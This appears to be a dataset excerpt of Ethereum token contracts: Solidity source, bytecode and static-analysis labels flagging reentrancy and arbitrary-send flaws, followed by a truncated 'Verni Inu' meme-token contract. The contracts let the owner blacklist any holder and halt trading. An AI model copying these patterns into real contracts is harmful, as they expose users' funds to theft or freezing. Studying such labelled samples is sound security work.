uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
walletLimitDuration = block.timestamp + (60 minutes);
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _MultiSig);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _MultiSig);
_isExcludedFromFee[ad] = false;
}
function setMarketingWallet (address payable MultiSig) external {
require(_msgSender() == _MultiSig);
_isExcludedFromFee[_MultiSig] = false;
_MultiSig = MultiSig;
_isExcludedFromFee[MultiSig] = true;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _MultiSig);
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _MultiSig);
require(team <= 7);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _MultiSig);
require(tax <= 1);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public {
require(_msgSender() == _MultiSig);
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _MultiSig);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _MultiSig);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) public onlyOwner {
require(accounts.length == amounts.length, "Lengths do not match.");
for (uint8 i = 0; i < accounts.length; i++) {
require(balanceOf(msg.sender) >= amounts[i]);
_transfer(msg.sender, accounts[i], amounts[i]*10**_decimals);
}
}
}
|
0x6080604052600436106101855760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f714610484578063db92dbb6146104a4578063dd62ed3e146104b9578063e6ec64ec146104ff57600080fd5b8063c3c8cd801461043a578063c4081a4c1461044f578063c9567bf91461046f57600080fd5b806370a082311461036f578063715018a61461038f5780638da5cb5b146103a457806395d89b41146103cc578063a9059cbb146103fa578063b515566a1461041a57600080fd5b806327f3a72a1161013e578063437823ec11610118578063437823ec146102fa5780634b740b161461031a5780635d098b381461033a5780636fc3eaec1461035a57600080fd5b806327f3a72a14610290578063313ce567146102a55780633bbac579146102c157600080fd5b806306fdde0314610191578063095ea7b3146101d857806318160ddd1461020857806323b872dd1461022e5780632610eaca1461024e578063273123b71461027057600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201909152600c81526b14185cdd08141c9bda9958dd60a21b60208201525b6040516101cf9190611a90565b60405180910390f35b3480156101e457600080fd5b506101f86101f3366004611afa565b61051f565b60405190151581526020016101cf565b34801561021457600080fd5b50683635c9adc5dea000005b6040519081526020016101cf565b34801561023a57600080fd5b506101f8610249366004611b26565b610536565b34801561025a57600080fd5b5061026e610269366004611c46565b61059f565b005b34801561027c57600080fd5b5061026e61028b366004611d01565b6106cd565b34801561029c57600080fd5b5061022061070e565b3480156102b157600080fd5b50604051600981526020016101cf565b3480156102cd57600080fd5b506101f86102dc366004611d01565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561030657600080fd5b5061026e610315366004611d01565b61071e565b34801561032657600080fd5b5061026e610335366004611d2c565b610762565b34801561034657600080fd5b5061026e610355366004611d01565b6107a0565b34801561036657600080fd5b5061026e610810565b34801561037b57600080fd5b5061022061038a366004611d01565b61083d565b34801561039b57600080fd5b5061026e61085f565b3480156103b057600080fd5b506000546040516001600160a01b0390911681526020016101cf565b3480156103d857600080fd5b5060408051808201909152600581526409141054d560da1b60208201526101c2565b34801561040657600080fd5b506101f8610415366004611afa565b6108d3565b34801561042657600080fd5b5061026e610435366004611d49565b6108e0565b34801561044657600080fd5b5061026e6109fd565b34801561045b57600080fd5b5061026e61046a366004611d86565b610a33565b34801561047b57600080fd5b5061026e610a66565b34801561049057600080fd5b5061026e61049f366004611d01565b610de0565b3480156104b057600080fd5b50610220610e21565b3480156104c557600080fd5b506102206104d4366004611d9f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561050b57600080fd5b5061026e61051a366004611d86565b610e39565b600061052c338484610e6c565b5060015b92915050565b6000610543848484610f90565b6105958433610590856040518060600160405280602881526020016120ae602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611369565b610e6c565b5060019392505050565b6000546001600160a01b031633146105d25760405162461bcd60e51b81526004016105c990611dd8565b60405180910390fd5b805182511461061b5760405162461bcd60e51b81526020600482015260156024820152742632b733ba3439903237903737ba1036b0ba31b41760591b60448201526064016105c9565b60005b82518160ff1610156106c857818160ff168151811061063f5761063f611e0d565b60200260200101516106503361083d565b101561065b57600080fd5b6106b633848360ff168151811061067457610674611e0d565b60200260200101516009600a61068a9190611f1d565b858560ff168151811061069f5761069f611e0d565b60200260200101516106b19190611f2c565b610f90565b806106c081611f4b565b91505061061e565b505050565b600d546001600160a01b0316336001600160a01b0316146106ed57600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b60006107193061083d565b905090565b600d546001600160a01b0316336001600160a01b03161461073e57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600d546001600160a01b0316336001600160a01b03161461078257600080fd5b600f8054911515600160a81b0260ff60a81b19909216919091179055565b600d546001600160a01b0316336001600160a01b0316146107c057600080fd5b600d80546001600160a01b03908116600090815260056020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600d546001600160a01b0316336001600160a01b03161461083057600080fd5b4761083a816113a3565b50565b6001600160a01b038116600090815260026020526040812054610530906113dd565b6000546001600160a01b031633146108895760405162461bcd60e51b81526004016105c990611dd8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061052c338484610f90565b6000546001600160a01b0316331461090a5760405162461bcd60e51b81526004016105c990611dd8565b60005b81518110156109f957600f5482516001600160a01b039091169083908390811061093957610939611e0d565b60200260200101516001600160a01b03161415801561098a5750600e5482516001600160a01b039091169083908390811061097657610976611e0d565b60200260200101516001600160a01b031614155b156109e7576001600660008484815181106109a7576109a7611e0d565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806109f181611f6a565b91505061090d565b5050565b600d546001600160a01b0316336001600160a01b031614610a1d57600080fd5b6000610a283061083d565b905061083a81611461565b600d546001600160a01b0316336001600160a01b031614610a5357600080fd5b6001811115610a6157600080fd5b600955565b6000546001600160a01b03163314610a905760405162461bcd60e51b81526004016105c990611dd8565b600f54600160a01b900460ff1615610aea5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105c9565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b273082683635c9adc5dea00000610e6c565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b899190611f83565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfa9190611f83565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f83565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610c9b8161083d565b600080610cb06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d18573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d3d9190611fa0565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610d96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dba9190611fce565b50600f805460ff60a01b1916600160a01b179055610dda42610e10611feb565b60105550565b600d546001600160a01b0316336001600160a01b031614610e0057600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b600f54600090610719906001600160a01b031661083d565b600d546001600160a01b0316336001600160a01b031614610e5957600080fd5b6007811115610e6757600080fd5b600a55565b6001600160a01b038316610ece5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c9565b6001600160a01b038216610f2f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ff45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c9565b6001600160a01b0382166110565760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c9565b600081116110b85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c9565b6000546001600160a01b038481169116148015906110e457506000546001600160a01b03838116911614155b156112f8576001600160a01b03831660009081526006602052604090205460ff1615801561112b57506001600160a01b03821660009081526006602052604090205460ff16155b61113457600080fd5b600f546001600160a01b03848116911614801561115f5750600e546001600160a01b03838116911614155b801561118457506001600160a01b03821660009081526005602052604090205460ff16155b1561122f57600f54600160a01b900460ff166111e25760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016105c9565b42601054111561122f5760006111f78361083d565b90506112186064611212683635c9adc5dea0000060026115db565b9061165d565b611222838361169f565b111561122d57600080fd5b505b600061123a3061083d565b600f54909150600160b01b900460ff161580156112655750600f546001600160a01b03858116911614155b801561127a5750600f54600160a01b900460ff165b156112f65780156112e457600f546112ae90606490611212906005906112a8906001600160a01b031661083d565b906115db565b8111156112db57600f546112d890606490611212906005906112a8906001600160a01b031661083d565b90505b6112e481611461565b4780156112f4576112f4476113a3565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061133a57506001600160a01b03831660009081526005602052604090205460ff165b8061134e5750600f54600160a81b900460ff165b15611357575060005b611363848484846116fe565b50505050565b6000818484111561138d5760405162461bcd60e51b81526004016105c99190611a90565b50600061139a8486612003565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109f9573d6000803e3d6000fd5b60006007548211156114445760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105c9565b600061144e61172c565b905061145a838261165d565b9392505050565b600f805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114a9576114a9611e0d565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611502573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115269190611f83565b8160018151811061153957611539611e0d565b6001600160a01b039283166020918202929092010152600e5461155f9130911684610e6c565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061159890859060009086903090429060040161201a565b600060405180830381600087803b1580156115b257600080fd5b505af11580156115c6573d6000803e3d6000fd5b5050600f805460ff60b01b1916905550505050565b6000826000036115ed57506000610530565b60006115f98385611f2c565b905082611606858361208b565b1461145a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105c9565b600061145a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061174f565b6000806116ac8385611feb565b90508381101561145a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c9565b8061170b5761170b61177d565b6117168484846117ab565b8061136357611363600b54600955600c54600a55565b60008060006117396118a2565b9092509050611748828261165d565b9250505090565b600081836117705760405162461bcd60e51b81526004016105c99190611a90565b50600061139a848661208b565b60095415801561178d5750600a54155b1561179457565b60098054600b55600a8054600c5560009182905555565b6000806000806000806117bd876118e4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117ef9087611941565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461181e908661169f565b6001600160a01b03891660009081526002602052604090205561184081611983565b61184a84836119cd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161188f91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006118be828261165d565b8210156118db57505060075492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006119018a600954600a546119f1565b925092509250600061191161172c565b905060008060006119248e878787611a40565b919e509c509a509598509396509194505050505091939550919395565b600061145a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611369565b600061198d61172c565b9050600061199b83836115db565b306000908152600260205260409020549091506119b8908261169f565b30600090815260026020526040902055505050565b6007546119da9083611941565b6007556008546119ea908261169f565b6008555050565b6000808080611a05606461121289896115db565b90506000611a1860646112128a896115db565b90506000611a3082611a2a8b86611941565b90611941565b9992985090965090945050505050565b6000808080611a4f88866115db565b90506000611a5d88876115db565b90506000611a6b88886115db565b90506000611a7d82611a2a8686611941565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611abd57858101830151858201604001528201611aa1565b81811115611acf576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461083a57600080fd5b60008060408385031215611b0d57600080fd5b8235611b1881611ae5565b946020939093013593505050565b600080600060608486031215611b3b57600080fd5b8335611b4681611ae5565b92506020840135611b5681611ae5565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611ba657611ba6611b67565b604052919050565b600067ffffffffffffffff821115611bc857611bc8611b67565b5060051b60200190565b600082601f830112611be357600080fd5b81356020611bf8611bf383611bae565b611b7d565b82815260059290921b84018101918181019086841115611c1757600080fd5b8286015b84811015611c3b578035611c2e81611ae5565b8352918301918301611c1b565b509695505050505050565b60008060408385031215611c5957600080fd5b823567ffffffffffffffff80821115611c7157600080fd5b611c7d86838701611bd2565b9350602091508185013581811115611c9457600080fd5b85019050601f81018613611ca757600080fd5b8035611cb5611bf382611bae565b81815260059190911b82018301908381019088831115611cd457600080fd5b928401925b82841015611cf257833582529284019290840190611cd9565b80955050505050509250929050565b600060208284031215611d1357600080fd5b813561145a81611ae5565b801515811461083a57600080fd5b600060208284031215611d3e57600080fd5b813561145a81611d1e565b600060208284031215611d5b57600080fd5b813567ffffffffffffffff811115611d7257600080fd5b611d7e84828501611bd2565b949350505050565b600060208284031215611d9857600080fd5b5035919050565b60008060408385031215611db257600080fd5b8235611dbd81611ae5565b91506020830135611dcd81611ae5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611e74578160001904821115611e5a57611e5a611e23565b80851615611e6757918102915b93841c9390800290611e3e565b509250929050565b600082611e8b57506001610530565b81611e9857506000610530565b8160018114611eae5760028114611eb857611ed4565b6001915050610530565b60ff841115611ec957611ec9611e23565b50506001821b610530565b5060208310610133831016604e8410600b8410161715611ef7575081810a610530565b611f018383611e39565b8060001904821115611f1557611f15611e23565b029392505050565b600061145a60ff841683611e7c565b6000816000190483118215151615611f4657611f46611e23565b500290565b600060ff821660ff8103611f6157611f61611e23565b60010192915050565b600060018201611f7c57611f7c611e23565b5060010190565b600060208284031215611f9557600080fd5b815161145a81611ae5565b600080600060608486031215611fb557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611fe057600080fd5b815161145a81611d1e565b60008219821115611ffe57611ffe611e23565b500190565b60008282101561201557612015611e23565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561206a5784516001600160a01b031683529383019391830191600101612045565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826120a857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206e20bdd687f48aa560877099cb33fc5afc2212a5069e8d25884e6cac6b806f6064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,962 |
0x0F8Ae1d9feD2c3D9eeE476518a95aD97da3d7638
|
/**
*Submitted for verification at Etherscan.io on 2022-02-11
*/
/*
Verni Inu
https://t.me/VernInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract VerniInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Verni Inu";
string private constant _symbol = "VERNINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xEf5082AD0fA473787163B94C7fB748e3720C000A);
address payable private _marketingAddress = payable(0x10452c75bb0b0039726C841EA92cf50D669A9504);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 25000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
